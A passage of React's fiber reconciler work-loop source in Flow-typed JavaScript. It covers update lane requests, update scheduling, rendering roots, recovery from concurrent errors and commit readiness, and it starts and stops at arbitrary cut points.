0;\nconst ABORTED_VIEW_TRANSITION_COMMIT = 1;\nconst DELAYED_PASSIVE_COMMIT = 2;\nconst ANIMATION_STARTED_COMMIT = 3;\n\nconst NO_PENDING_EFFECTS = 0;\nconst PENDING_MUTATION_PHASE = 1;\nconst PENDING_LAYOUT_PHASE = 2;\nconst PENDING_AFTER_MUTATION_PHASE = 3;\nconst PENDING_SPAWNED_WORK = 4;\nconst PENDING_PASSIVE_PHASE = 5;\nconst PENDING_GESTURE_MUTATION_PHASE = 6;\nconst PENDING_GESTURE_ANIMATION_PHASE = 7;\nlet pendingEffectsStatus: 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 = 0;\nlet pendingEffectsRoot: FiberRoot = (null: any);\nlet pendingFinishedWork: Fiber = (null: any);\nlet pendingEffectsLanes: Lanes = NoLanes;\nlet pendingEffectsRemainingLanes: Lanes = NoLanes;\nlet pendingEffectsRenderEndTime: number = -0; // Profiling-only\nlet pendingPassiveTransitions: Array<Transition> | null = null;\nlet pendingRecoverableErrors: null | Array<CapturedValue<mixed>> = null;\nlet pendingViewTransition: null | RunningViewTransition = null;\nlet pendingViewTransitionEvents: Array<\n  (types: Array<string>) => void | (() => void),\n> | null = null;\nlet pendingTransitionTypes: null | TransitionTypes = null;\nlet pendingDidIncludeRenderPhaseUpdate: boolean = false;\nlet pendingSuspendedCommitReason: SuspendedCommitReason = null; // Profiling-only\nlet pendingDelayedCommitReason: DelayedCommitReason = IMMEDIATE_COMMIT; // Profiling-only\nlet pendingSuspendedViewTransitionReason: null | string = null; // Profiling-only\n\n// Use these to prevent an infinite loop of nested updates\nconst NESTED_UPDATE_LIMIT = 50;\nlet nestedUpdateCount: number = 0;\nlet rootWithNestedUpdates: FiberRoot | null = null;\nlet isFlushingPassiveEffects = false;\nlet didScheduleUpdateDuringPassiveEffects = false;\n\nconst NO_NESTED_UPDATE = 0;\nconst NESTED_UPDATE_SYNC_LANE = 1;\nconst NESTED_UPDATE_PHASE_SPAWN = 2;\nlet nestedUpdateKind: 0 | 1 | 2 = NO_NESTED_UPDATE;\n\nconst NESTED_PASSIVE_UPDATE_LIMIT = 50;\nlet nestedPassiveUpdateCount: number = 0;\nlet rootWithPassiveNestedUpdates: FiberRoot | null = null;\n\nlet isRunningInsertionEffect = false;\n\nexport function getWorkInProgressRoot(): FiberRoot | null {\n  return workInProgressRoot;\n}\n\nexport function getCommittingRoot(): FiberRoot | null {\n  return pendingEffectsRoot;\n}\n\nexport function getWorkInProgressRootRenderLanes(): Lanes {\n  return workInProgressRootRenderLanes;\n}\n\nexport function hasPendingCommitEffects(): boolean {\n  return (\n    pendingEffectsStatus !== NO_PENDING_EFFECTS &&\n    pendingEffectsStatus !== PENDING_PASSIVE_PHASE\n  );\n}\n\nexport function getRootWithPendingPassiveEffects(): FiberRoot | null {\n  return pendingEffectsStatus === PENDING_PASSIVE_PHASE\n    ? pendingEffectsRoot\n    : null;\n}\n\nexport function getPendingPassiveEffectsLanes(): Lanes {\n  return pendingEffectsLanes;\n}\n\nexport function getPendingTransitionTypes(): null | TransitionTypes {\n  return pendingTransitionTypes;\n}\n\nexport function isWorkLoopSuspendedOnData(): boolean {\n  return (\n    workInProgressSuspendedReason === SuspendedOnData ||\n    workInProgressSuspendedReason === SuspendedOnAction\n  );\n}\n\nexport function getCurrentTime(): number {\n  return now();\n}\n\nexport function requestUpdateLane(fiber: Fiber): Lane {\n  // Special cases\n  const mode = fiber.mode;\n  if (!disableLegacyMode && (mode & ConcurrentMode) === NoMode) {\n    return (SyncLane: Lane);\n  } else if (\n    (executionContext & RenderContext) !== NoContext &&\n    workInProgressRootRenderLanes !== NoLanes\n  ) {\n    // This is a render phase update. These are not officially supported. The\n    // old behavior is to give this the same \"thread\" (lanes) as\n    // whatever is currently rendering. So if you call `setState` on a component\n    // that happens later in the same render, it will flush. Ideally, we want to\n    // remove the special case and treat them as if they came from an\n    // interleaved event. Regardless, this pattern is not officially supported.\n    // This behavior is only a fallback. The flag only exists until we can roll\n    // out the setState warning, since existing code might accidentally rely on\n    // the current behavior.\n    return pickArbitraryLane(workInProgressRootRenderLanes);\n  }\n\n  const transition = requestCurrentTransition();\n  if (transition !== null) {\n    if (enableGestureTransition) {\n      if (transition.gesture) {\n        throw new Error(\n          'Cannot setState on regular state inside a startGestureTransition. ' +\n            'Gestures can only update the useOptimistic() hook. There should be no ' +\n            'side-effects associated with starting a Gesture until its Action is ' +\n            'invoked. Move side-effects to the Action instead.',\n        );\n      }\n    }\n    if (__DEV__) {\n      if (!transition._updatedFibers) {\n        transition._updatedFibers = new Set();\n      }\n      transition._updatedFibers.add(fiber);\n    }\n\n    return requestTransitionLane(transition);\n  }\n\n  return eventPriorityToLane(resolveUpdatePriority());\n}\n\nfunction requestRetryLane(fiber: Fiber) {\n  // This is a fork of `requestUpdateLane` designed specifically for Suspense\n  // \"retries\" — a special update that attempts to flip a Suspense boundary\n  // from its placeholder state to its primary/resolved state.\n\n  // Special cases\n  const mode = fiber.mode;\n  if (!disableLegacyMode && (mode & ConcurrentMode) === NoMode) {\n    return (SyncLane: Lane);\n  }\n\n  return claimNextRetryLane();\n}\n\nexport function requestDeferredLane(): Lane {\n  if (workInProgressDeferredLane === NoLane) {\n    // If there are multiple useDeferredValue hooks in the same render, the\n    // tasks that they spawn should all be batched together, so they should all\n    // receive the same lane.\n\n    // Check the priority of the current render to decide the priority of the\n    // deferred task.\n\n    // OffscreenLane is used for prerendering, but we also use OffscreenLane\n    // for incremental hydration. It's given the lowest priority because the\n    // initial HTML is the same as the final UI. But useDeferredValue during\n    // hydration is an exception — we need to upgrade the UI to the final\n    // value. So if we're currently hydrating, we treat it like a transition.\n    const isPrerendering =\n      includesSomeLane(workInProgressRootRenderLanes, OffscreenLane) &&\n      !getIsHydrating();\n    if (isPrerendering) {\n      // There's only one OffscreenLane, so if it contains deferred work, we\n      // should just reschedule using the same lane.\n      workInProgressDeferredLane = OffscreenLane;\n    } else {\n      // Everything else is spawned as a transition.\n      workInProgressDeferredLane = claimNextTransitionDeferredLane();\n    }\n  }\n\n  // Mark the parent Suspense boundary so it knows to spawn the deferred lane.\n  const suspenseHandler = getSuspenseHandler();\n  if (suspenseHandler !== null) {\n    // TODO: As an optimization, we shouldn't entangle the lanes at the root; we\n    // can entangle them using the baseLanes of the Suspense boundary instead.\n    // We only need to do something special if there's no Suspense boundary.\n    suspenseHandler.flags |= DidDefer;\n  }\n\n  return workInProgressDeferredLane;\n}\n\nexport function scheduleViewTransitionEvent(\n  fiber: Fiber,\n  callback: ?(\n    instance: ViewTransitionInstance,\n    types: Array<string>,\n  ) => void | (() => void),\n): void {\n  if (enableViewTransition) {\n    if (callback != null) {\n      const state: ViewTransitionState = fiber.stateNode;\n      let instance = state.ref;\n      if (instance === null) {\n        instance = state.ref = createViewTransitionInstance(\n          getViewTransitionName(fiber.memoizedProps, state),\n        );\n      }\n      if (pendingViewTransitionEvents === null) {\n        pendingViewTransitionEvents = [];\n      }\n      pendingViewTransitionEvents.push(callback.bind(null, instance));\n    }\n  }\n}\n\nexport function scheduleGestureTransitionEvent(\n  fiber: Fiber,\n  callback: ?(\n    timeline: GestureTimeline,\n    options: GestureOptionsRequired,\n    instance: ViewTransitionInstance,\n    types: Array<string>,\n  ) => void | (() => void),\n): void {\n  if (enableGestureTransition) {\n    if (callback != null) {\n      const applyingGesture = pendingEffectsRoot.pendingGestures;\n      if (applyingGesture !== null) {\n        const state: ViewTransitionState = fiber.stateNode;\n        let instance = state.ref;\n        if (instance === null) {\n          instance = state.ref = createViewTransitionInstance(\n            getViewTransitionName(fiber.memoizedProps, state),\n          );\n        }\n        const timeline = applyingGesture.provider;\n        const options = {\n          rangeStart: applyingGesture.rangeStart,\n          rangeEnd: applyingGesture.rangeEnd,\n        };\n        if (pendingViewTransitionEvents === null) {\n          pendingViewTransitionEvents = [];\n        }\n        pendingViewTransitionEvents.push(\n          callback.bind(null, timeline, options, instance),\n        );\n      }\n    }\n  }\n}\n\nexport function peekDeferredLane(): Lane {\n  return workInProgressDeferredLane;\n}\n\nexport function scheduleUpdateOnFiber(\n  root: FiberRoot,\n  fiber: Fiber,\n  lane: Lane,\n) {\n  if (__DEV__) {\n    if (isRunningInsertionEffect) {\n      console.error('useInsertionEffect must not schedule updates.');\n    }\n  }\n\n  if (__DEV__) {\n    if (isFlushingPassiveEffects) {\n      didScheduleUpdateDuringPassiveEffects = true;\n    }\n  }\n\n  // Check if the work loop is currently suspended and waiting for data to\n  // finish loading.\n  if (\n    // Suspended render phase\n    (root === workInProgressRoot &&\n      (workInProgressSuspendedReason === SuspendedOnData ||\n        workInProgressSuspendedReason === SuspendedOnAction)) ||\n    // Suspended commit phase\n    root.cancelPendingCommit !== null\n  ) {\n    // The incoming update might unblock the current render. Interrupt the\n    // current attempt and restart from the top.\n    prepareFreshStack(root, NoLanes);\n    const didAttemptEntireTree = false;\n    markRootSuspended(\n      root,\n      workInProgressRootRenderLanes,\n      workInProgressDeferredLane,\n      didAttemptEntireTree,\n    );\n  }\n\n  // Mark that the root has a pending update.\n  markRootUpdated(root, lane);\n\n  if (\n    (executionContext & RenderContext) !== NoContext &&\n    root === workInProgressRoot\n  ) {\n    // This update was dispatched during the render phase. This is a mistake\n    // if the update originates from user space (with the exception of local\n    // hook updates, which are handled differently and don't reach this\n    // function), but there are some internal React features that use this as\n    // an implementation detail, like selective hydration.\n    warnAboutRenderPhaseUpdatesInDEV(fiber);\n\n    // Track lanes that were updated during the render phase\n    workInProgressRootRenderPhaseUpdatedLanes = mergeLanes(\n      workInProgressRootRenderPhaseUpdatedLanes,\n      lane,\n    );\n  } else {\n    // This is a normal update, scheduled from outside the render phase. For\n    // example, during an input event.\n    if (enableUpdaterTracking) {\n      if (isDevToolsPresent) {\n        addFiberToLanesMap(root, fiber, lane);\n      }\n    }\n\n    warnIfUpdatesNotWrappedWithActDEV(fiber);\n\n    if (enableTransitionTracing) {\n      const transition = ReactSharedInternals.T;\n      if (transition !== null && transition.name != null) {\n        if (transition.startTime === -1) {\n          transition.startTime = now();\n        }\n\n        addTransitionToLanesMap(root, transition, lane);\n      }\n    }\n\n    if (root === workInProgressRoot) {\n      // Received an update to a tree that's in the middle of rendering. Mark\n      // that there was an interleaved update work on this root.\n      if ((executionContext & RenderContext) === NoContext) {\n        workInProgressRootInterleavedUpdatedLanes = mergeLanes(\n          workInProgressRootInterleavedUpdatedLanes,\n          lane,\n        );\n      }\n      if (workInProgressRootExitStatus === RootSuspendedWithDelay) {\n        // The root already suspended with a delay, which means this render\n        // definitely won't finish. Since we have a new update, let's mark it as\n        // suspended now, right before marking the incoming update. This has the\n        // effect of interrupting the current render and switching to the update.\n        // TODO: Make sure this doesn't override pings that happen while we've\n        // already started rendering.\n        const didAttemptEntireTree = false;\n        markRootSuspended(\n          root,\n          workInProgressRootRenderLanes,\n          workInProgressDeferredLane,\n          didAttemptEntireTree,\n        );\n      }\n    }\n\n    ensureRootIsScheduled(root);\n    if (\n      lane === SyncLane &&\n      executionContext === NoContext &&\n      !disableLegacyMode &&\n      (fiber.mode & ConcurrentMode) === NoMode\n    ) {\n      if (__DEV__ && ReactSharedInternals.isBatchingLegacy) {\n        // Treat `act` as if it's inside `batchedUpdates`, even in legacy mode.\n      } else {\n        // Flush the synchronous work now, unless we're already working or inside\n        // a batch. This is intentionally inside scheduleUpdateOnFiber instead of\n        // scheduleCallbackForFiber to preserve the ability to schedule a callback\n        // without immediately flushing it. We only do this for user-initiated\n        // updates, to preserve historical behavior of legacy mode.\n        resetRenderTimer();\n        flushSyncWorkOnLegacyRootsOnly();\n      }\n    }\n  }\n}\n\nexport function scheduleInitialHydrationOnRoot(root: FiberRoot, lane: Lane) {\n  // This is a special fork of scheduleUpdateOnFiber that is only used to\n  // schedule the initial hydration of a root that has just been created. Most\n  // of the stuff in scheduleUpdateOnFiber can be skipped.\n  //\n  // The main reason for this separate path, though, is to distinguish the\n  // initial children from subsequent updates. In fully client-rendered roots\n  // (createRoot instead of hydrateRoot), all top-level renders are modeled as\n  // updates, but hydration roots are special because the initial render must\n  // match what was rendered on the server.\n  const current = root.current;\n  current.lanes = lane;\n  markRootUpdated(root, lane);\n  ensureRootIsScheduled(root);\n}\n\nexport function isUnsafeClassRenderPhaseUpdate(fiber: Fiber): boolean {\n  // Check if this is a render phase update. Only called by class components,\n  // which special (deprecated) behavior for UNSAFE_componentWillReceive props.\n  return (executionContext & RenderContext) !== NoContext;\n}\n\nexport function performWorkOnRoot(\n  root: FiberRoot,\n  lanes: Lanes,\n  forceSync: boolean,\n): void {\n  if ((executionContext & (RenderContext | CommitContext)) !== NoContext) {\n    throw new Error('Should not already be working.');\n  }\n\n  if (enableProfilerTimer && enableComponentPerformanceTrack) {\n    if (workInProgressRootRenderLanes !== NoLanes && workInProgress !== null) {\n      const yieldedFiber = workInProgress;\n      // We've returned from yielding to the event loop. Let's log the time it took.\n      const yieldEndTime = now();\n      switch (yieldReason) {\n        case SuspendedOnImmediate:\n        case SuspendedOnData:\n          logSuspendedYieldTime(yieldStartTime, yieldEndTime, yieldedFiber);\n          break;\n        case SuspendedOnAction:\n          logActionYieldTime(yieldStartTime, yieldEndTime, yieldedFiber);\n          break;\n        default:\n          logYieldTime(yieldStartTime, yieldEndTime);\n      }\n    }\n  }\n\n  // We disable time-slicing in some cases: if the work has been CPU-bound\n  // for too long (\"expired\" work, to prevent starvation), or we're in\n  // sync-updates-by-default mode.\n  const shouldTimeSlice =\n    (!forceSync &&\n      !includesBlockingLane(lanes) &&\n      !includesExpiredLane(root, lanes)) ||\n    // If we're prerendering, then we should use the concurrent work loop\n    // even if the lanes are synchronous, so that prerendering never blocks\n    // the main thread.\n    // TODO: We should consider doing this whenever a sync lane is suspended,\n    // even for regular pings.\n    checkIfRootIsPrerendering(root, lanes);\n\n  let exitStatus: RootExitStatus = shouldTimeSlice\n    ? renderRootConcurrent(root, lanes)\n    : renderRootSync(root, lanes, true);\n\n  let renderWasConcurrent = shouldTimeSlice;\n\n  do {\n    if (exitStatus === RootInProgress) {\n      // Render phase is still in progress.\n      if (workInProgressRootIsPrerendering && !shouldTimeSlice) {\n        // We're in prerendering mode, but time slicing is not enabled. This\n        // happens when something suspends during a synchronous update. Exit the\n        // the work loop. When we resume, we'll use the concurrent work loop so\n        // that prerendering is non-blocking.\n        //\n        // Mark the root as suspended. Usually we do this at the end of the\n        // render phase, but we do it here so that we resume in\n        // prerendering mode.\n        // TODO: Consider always calling markRootSuspended immediately.\n        // Needs to be *after* we attach a ping listener, though.\n        const didAttemptEntireTree = false;\n        markRootSuspended(root, lanes, NoLane, didAttemptEntireTree);\n      }\n      if (enableProfilerTimer && enableComponentPerformanceTrack) {\n        // We're about to yield. Let's keep track of how long we yield to the event loop.\n        // We also stash the suspended reason at the time we yielded since it might have\n        // changed when we resume such as when it gets pinged.\n        startYieldTimer(workInProgressSuspendedReason);\n      }\n      break;\n    } else {\n      let renderEndTime = 0;\n      if (enableProfilerTimer && enableComponentPerformanceTrack) {\n        renderEndTime = now();\n      }\n\n      // The render completed.\n\n      // Check if this render may have yielded to a concurrent event, and if so,\n      // confirm that any newly rendered stores are consistent.\n      // TODO: It's possible that even a concurrent render may never have yielded\n      // to the main thread, if it was fast enough, or if it expired. We could\n      // skip the consistency check in that case, too.\n      const finishedWork: Fiber = (root.current.alternate: any);\n      if (\n        renderWasConcurrent &&\n        !isRenderConsistentWithExternalStores(finishedWork)\n      ) {\n        if (enableProfilerTimer && enableComponentPerformanceTrack) {\n          setCurrentTrackFromLanes(lanes);\n          logInconsistentRender(\n            renderStartTime,\n            renderEndTime,\n            workInProgressUpdateTask,\n          );\n          finalizeRender(lanes, renderEndTime);\n        }\n        // A store was mutated in an interleaved event. Render again,\n        // synchronously, to block further mutations.\n        exitStatus = renderRootSync(root, lanes, false);\n        // We assume the tree is now consistent because we didn't yield to any\n        // concurrent events.\n        renderWasConcurrent = false;\n        // Need to check the exit status again.\n        continue;\n      }\n\n      // Check if something threw\n      if (\n        (disableLegacyMode || root.tag !== LegacyRoot) &&\n        exitStatus === RootErrored\n      ) {\n        const lanesThatJustErrored = lanes;\n        const errorRetryLanes = getLanesToRetrySynchronouslyOnError(\n          root,\n          lanesThatJustErrored,\n        );\n        if (errorRetryLanes !== NoLanes) {\n          if (enableProfilerTimer && enableComponentPerformanceTrack) {\n            setCurrentTrackFromLanes(lanes);\n            logErroredRenderPhase(\n              renderStartTime,\n              renderEndTime,\n              lanes,\n              workInProgressUpdateTask,\n            );\n            finalizeRender(lanes, renderEndTime);\n          }\n          lanes = errorRetryLanes;\n          exitStatus = recoverFromConcurrentError(\n            root,\n            lanesThatJustErrored,\n            errorRetryLanes,\n          );\n          renderWasConcurrent = false;\n          // Need to check the exit status again.\n          if (exitStatus !== RootErrored) {\n            // The root did not error this time. Restart the exit algorithm\n            // from the beginning.\n            // TODO: Refactor the exit algorithm to be less confusing. Maybe\n            // more branches + recursion instead of a loop. I think the only\n            // thing that causes it to be a loop is the RootSuspendedAtTheShell\n            // check. If that's true, then we don't need a loop/recursion\n            // at all.\n            continue;\n          } else {\n            // The root errored yet again. Proceed to commit the tree.\n            if (enableProfilerTimer && enableComponentPerformanceTrack) {\n              renderEndTime = now();\n            }\n          }\n        }\n      }\n      if (exitStatus === RootFatalErrored) {\n        if (enableProfilerTimer && enableComponentPerformanceTrack) {\n          setCurrentTrackFromLanes(lanes);\n          logErroredRenderPhase(\n            renderStartTime,\n            renderEndTime,\n            lanes,\n            workInProgressUpdateTask,\n          );\n          finalizeRender(lanes, renderEndTime);\n        }\n        prepareFreshStack(root, NoLanes);\n        // Since this is a fatal error, we're going to pretend we attempted\n        // the entire tree, to avoid scheduling a prerender.\n        const didAttemptEntireTree = true;\n        markRootSuspended(root, lanes, NoLane, didAttemptEntireTree);\n        break;\n      }\n\n      // We now have a consistent tree. The next step is either to commit it,\n      // or, if something suspended, wait to commit it after a timeout.\n      finishConcurrentRender(\n        root,\n        exitStatus,\n        finishedWork,\n        lanes,\n        renderEndTime,\n      );\n    }\n    break;\n  } while (true);\n\n  ensureRootIsScheduled(root);\n}\n\nfunction recoverFromConcurrentError(\n  root: FiberRoot,\n  originallyAttemptedLanes: Lanes,\n  errorRetryLanes: Lanes,\n): RootExitStatus {\n  // If an error occurred during hydration, discard server response and fall\n  // back to client side render.\n\n  // Before rendering again, save the errors from the previous attempt.\n  const errorsFromFirstAttempt = workInProgressRootConcurrentErrors;\n\n  const wasRootDehydrated = supportsHydration && isRootDehydrated(root);\n  if (wasRootDehydrated) {\n    // The shell failed to hydrate. Set a flag to force a client rendering\n    // during the next attempt. To do this, we call prepareFreshStack now\n    // to create the root work-in-progress fiber. This is a bit weird in terms\n    // of factoring, because it relies on renderRootSync not calling\n    // prepareFreshStack again in the call below, which happens because the\n    // root and lanes haven't changed.\n    //\n    // TODO: I think what we should do is set ForceClientRender inside\n    // throwException, like we do for nested Suspense boundaries. The reason\n    // it's here instead is so we can switch to the synchronous work loop, too.\n    // Something to consider for a future refactor.\n    const rootWorkInProgress = prepareFreshStack(root, errorRetryLanes);\n    rootWorkInProgress.flags |= ForceClientRender;\n  }\n\n  const exitStatus = renderRootSync(root, errorRetryLanes, false);\n  if (exitStatus !== RootErrored) {\n    // Successfully finished rendering on retry\n\n    if (workInProgressRootDidAttachPingListener && !wasRootDehydrated) {\n      // During the synchronous render, we attached additional ping listeners.\n      // This is highly suggestive of an uncached promise (though it's not the\n      // only reason this would happen). If it was an uncached promise, then\n      // it may have masked a downstream error from ocurring without actually\n      // fixing it. Example:\n      //\n      //    use(Promise.resolve('uncached'))\n      //    throw new Error('Oops!')\n      //\n      // When this happens, there's a conflict between blocking potential\n      // concurrent data races and unwrapping uncached promise values. We\n      // have to choose one or the other. Because the data race recovery is\n      // a last ditch effort, we'll disable it.\n      root.errorRecoveryDisabledLanes = mergeLanes(\n        root.errorRecoveryDisabledLanes,\n        originallyAttemptedLanes,\n      );\n\n      // Mark the current render as suspended and force it to restart. Once\n      // these lanes finish successfully, we'll re-enable the error recovery\n      // mechanism for subsequent updates.\n      workInProgressRootInterleavedUpdatedLanes |= originallyAttemptedLanes;\n      return RootSuspendedWithDelay;\n    }\n\n    // The errors from the failed first attempt have been recovered. Add\n    // them to the collection of recoverable errors. We'll log them in the\n    // commit phase.\n    const errorsFromSecondAttempt = workInProgressRootRecoverableErrors;\n    workInProgressRootRecoverableErrors = errorsFromFirstAttempt;\n    // The errors from the second attempt should be queued after the errors\n    // from the first attempt, to preserve the causal sequence.\n    if (errorsFromSecondAttempt !== null) {\n      queueRecoverableErrors(errorsFromSecondAttempt);\n    }\n  } else {\n    // The UI failed to recover.\n  }\n  return exitStatus;\n}\n\nexport function queueRecoverableErrors(errors: Array<CapturedValue<mixed>>) {\n  if (workInProgressRootRecoverableErrors === null) {\n    workInProgressRootRecoverableErrors = errors;\n  } else {\n    // $FlowFixMe[method-unbinding]\n    workInProgressRootRecoverableErrors.push.apply(\n      workInProgressRootRecoverableErrors,\n      errors,\n    );\n  }\n}\n\nfunction finishConcurrentRender(\n  root: FiberRoot,\n  exitStatus: RootExitStatus,\n  finishedWork: Fiber,\n  lanes: Lanes,\n  renderEndTime: number, // Profiling-only\n) {\n  // TODO: The fact that most of these branches are identical suggests that some\n  // of the exit statuses are not best modeled as exit statuses and should be\n  // tracked orthogonally.\n  switch (exitStatus) {\n    case RootInProgress:\n    case RootFatalErrored: {\n      throw new Error('Root did not complete. This is a bug in React.');\n    }\n    case RootSuspendedWithDelay: {\n      if (!includesOnlyTransitions(lanes) && !includesOnlyRetries(lanes)) {\n        // Commit the placeholder.\n        break;\n      }\n    }\n    // Fallthrough\n    case RootSuspendedAtTheShell: {\n      // This is a transition, so we should exit without committing a\n      // placeholder and without scheduling a timeout. Delay indefinitely\n      // until we receive more data.\n      if (enableProfilerTimer && enableComponentPerformanceTrack) {\n        setCurrentTrackFromLanes(lanes);\n        logSuspendedRenderPhase(\n          renderStartTime,\n          renderEndTime,\n          lanes,\n          workInProgressUpdateTask,\n        );\n        finalizeRender(lanes, renderEndTime);\n        trackSuspendedTime(lanes, renderEndTime);\n      }\n      const didAttemptEntireTree = !workInProgressRootDidSkipSuspendedSiblings;\n      markRootSuspended(\n        root,\n        lanes,\n        workInProgressDeferredLane,\n        didAttemptEntireTree,\n      );\n      return;\n    }\n    case RootErrored: {\n      // This render errored. Ignore any recoverable errors because we weren't actually\n      // able to recover. Instead, whatever the final errors were is the ones we log.\n      // This ensures that we only log the actual client side error if it's just a plain\n      // error thrown from a component on the server and the client.\n      workInProgressRootRecoverableErrors = null;\n      break;\n    }\n    case RootSuspended:\n    case RootCompleted: {\n      break;\n    }\n    default: {\n      throw new Error('Unknown root exit status.');\n    }\n  }\n\n  if (shouldForceFlushFallbacksInDEV()) {\n    // We're inside an `act` scope. Commit immediately.\n    completeRoot(\n      root,\n      finishedWork,\n      lanes,\n      workInProgressRootRecoverableErrors,\n      workInProgressTransitions,\n      workInProgressRootDidIncludeRecursiveRenderUpdate,\n      workInProgressDeferredLane,\n      workInProgressRootInterleavedUpdatedLanes,\n      workInProgressSuspendedRetryLanes,\n      workInProgressRootDidSkipSuspendedSiblings,\n      exitStatus,\n      null,\n      null,\n      renderStartTime,\n      renderEndTime,\n    );\n  } else {\n    if (\n      includesOnlyRetries(lanes) &&\n      (alwaysThrottleRetries || exitStatus === RootSuspended)\n    ) {\n      // This render only included retries, no updates. Throttle committing\n      // retries so that we don't show too many loading states too quickly.\n      const msUntilTimeout =\n        globalMostRecentFallbackTime + FALLBACK_THROTTLE_MS - now();\n\n      // Don't bother with a very short suspense time.\n      if (msUntilTimeout > 10) {\n        const didAttemptEntireTree =\n          !workInProgressRootDidSkipSuspendedSiblings;\n        markRootSuspended(\n          root,\n          lanes,\n          workInProgressDeferredLane,\n          didAttemptEntireTree,\n        );\n\n        const nextLanes = getNextLanes(root, NoLanes, true);\n        if (nextLanes !== NoLanes) {\n          // There's additional work we can do on this root. We might as well\n          // attempt to work on that while we're suspended.\n          return;\n        }\n\n        // The render is suspended, it hasn't timed out, and there's no\n        // lower priority work to do. Instead of committing the fallback\n        // immediately, wait for more data to arrive.\n        // TODO: Combine retry throttling with Suspensey commits. Right now they\n        // run one after the other.\n        pendingEffectsLanes = lanes;\n        root.timeoutHandle = scheduleTimeout(\n          completeRootWhenReady.bind(\n            null,\n            root,\n            finishedWork,\n            workInProgressRootRecoverableErrors,\n            workInProgressTransitions,\n            workInProgressRootDidIncludeRecursiveRenderUpdate,\n            lanes,\n            workInProgressDeferredLane,\n            workInProgressRootInterleavedUpdatedLanes,\n            workInProgressSuspendedRetryLanes,\n            workInProgressRootDidSkipSuspendedSiblings,\n            exitStatus,\n            'Throttled',\n            renderStartTime,\n            renderEndTime,\n          ),\n          msUntilTimeout,\n        );\n        return;\n      }\n    }\n    completeRootWhenReady(\n      root,\n      finishedWork,\n      workInProgressRootRecoverableErrors,\n      workInProgressTransitions,\n      workInProgressRootDidIncludeRecursiveRenderUpdate,\n      lanes,\n      workInProgressDeferredLane,\n      workInProgressRootInterleavedUpdatedLanes,\n      workInProgressSuspendedRetryLanes,\n      workInProgressRootDidSkipSuspendedSiblings,\n      exitStatus,\n      null,\n      renderStartTime,\n      renderEndTime,\n    );\n  }\n}\n\nfunction completeRootWhenReady(\n  root: FiberRoot,\n  finishedWork: Fiber,\n  recoverableErrors: Array<CapturedValue<mixed>> | null,\n  transitions: Array<Transition> | null,\n  didIncludeRenderPhaseUpdate: boolean,\n  lanes: Lanes,\n  spawnedLane: Lane,\n  updatedLanes: Lanes,\n  suspendedRetryLanes: Lanes,\n  didSkipSuspendedSiblings: boolean,\n  exitStatus: RootExitStatus,\n  suspendedCommitReason: SuspendedCommitReason, // Profiling-only\n  completedRenderStartTime: number, // Profiling-only\n  completedRenderEndTime: number, // Profiling-only\n) {\n  root.timeoutHandle = noTimeout;\n\n  // TODO: Combine retry throttling with Suspensey commits. Right now they run\n  // one after the other.\n  const BothVisibilityAndMaySuspendCommit = Visibility | MaySuspendCommit;\n  const subtreeFlags = finishedWork.subtreeFlags;\n  const isViewTransitionEligible =\n    enableViewTransition && includesOnlyViewTransitionEligibleLanes(lanes); // TODO: Use a subtreeFlag to optimize.\n  const isGestureTransition = enableGestureTransition && isGestureRender(lanes);\n  const maySuspendCommit =\n    subtreeFlags & ShouldSuspendCommit ||\n    (subtreeFlags & BothVisibilityAndMaySuspendCommit) ===\n      BothVisibilityAndMaySuspendCommit;\n  let suspendedState: null | SuspendedState = null;\n  if (isViewTransitionEligible || maySuspendCommit || isGestureTransition) {\n    // Before committing, ask the renderer whether the host tree is ready.\n    // If it's not, we'll wait until it notifies us.\n    suspendedState = startSuspendingCommit();\n    // This will walk the completed fiber tree and attach listeners to all\n    // the suspensey resources. The renderer is responsible for accumulating\n    // all the load events. This all happens in a single synchronous\n    // transaction, so it track state in its own module scope.\n    // This will also track any newly added or appearing ViewTransition\n    // components for the purposes of forming pairs.\n    accumulateSuspenseyCommit(finishedWork, lanes, suspendedState);\n    if (\n      isViewTransitionEligible ||\n      (isGestureTransition &&\n        root.pendingGestures !== null &&\n        // If this gesture already has a View Transition running then we don't\n        // have to wait on that one before proceeding. We may hold the commit\n        // on the gesture committing later on in completeRoot.\n        root.pendingGestures.running === null)\n    ) {\n      // Wait for any pending View Transition (including gestures) to finish.\n      suspendOnActiveViewTransition(suspendedState, root.containerInfo);\n    }\n    // For timeouts we use the previous fallback commit for retries and\n    // the start time of the transition for transitions. This offset\n    // represents the time already passed.\n    const timeoutOffset = includesOnlyRetries(lanes)\n      ? globalMostRecentFallbackTime - now()\n      : includesOnlyTransitions(lanes)\n        ? globalMostRecentTransitionTime - now()\n        : 0;\n    // At the end, ask the renderer if it's ready to commit, or if we should\n    // suspend. If it's not ready, it will return a callback to subscribe to\n    // a ready event.\n    const schedulePendingCommit = waitForCommitToBeReady(\n      suspendedState,\n      timeoutOffset,\n    );\n    if (schedulePendingCommit !== null) {\n      // NOTE: waitForCommitToBeReady returns a subscribe function so that we\n      // only allocate a function if the commit isn't ready yet. The other\n      // pattern would be to always pass a callback to waitForCommitToBeReady.\n\n      // Not yet ready to commit. Delay the commit until the renderer notifies\n      // us that it's ready. This will be canceled if we start work on the\n      // root again.\n      pendingEffectsLanes = lanes;\n      root.cancelPendingCommit = schedulePendingCommit(\n        completeRoot.bind(\n          null,\n          root,\n          finishedWork,\n          lanes,\n          recoverableErrors,\n          transitions,\n          didIncludeRenderPhaseUpdate,\n          spawnedLane,\n          updatedLanes,\n          suspendedRetryLanes,\n          didSkipSuspendedSiblings,\n          exitStatus,\n          suspendedState,\n          enableProfilerTimer\n            ? getSuspendedCommitReason(suspendedState, root.containerInfo)\n            : null,\n          completedRenderStartTime,\n          completedRenderEndTime,\n        ),\n      );\n      const didAttemptEntireTree = !didSkipSuspendedSiblings;\n      markRootSuspended(root, lanes, spawnedLane, didAttemptEntireTree);\n      return;\n    }\n  }\n\n  // Otherwise, commit immediately.;\n  completeRoot(\n    root,\n    finishedWork,\n    lanes,\n    recoverableErrors,\n    transitions,\n    didIncludeRenderPhaseUpdate,\n    spawnedLane,\n    updatedLanes,\n    suspendedRetryLanes,\n    didSkipSuspendedSiblings,\n    exitStatus,\n    suspendedState,\n    suspendedCommitReason,\n    completedRenderStartTime,\n    completedRenderEndTime,\n  );\n}\n\nfunction isRenderConsistentWithExternalStores(finishedWork: Fiber): boolean {\n  // Search the rendered tree for external store reads, and check whether the\n  // stores were mutated in a concurrent event. Intentionally using an iterative\n  // loop instead of recursion so we can exit early.\n  let node: Fiber = finishedWork;\n  while (true) {\n    const tag = node.tag;\n    if (\n      (tag === 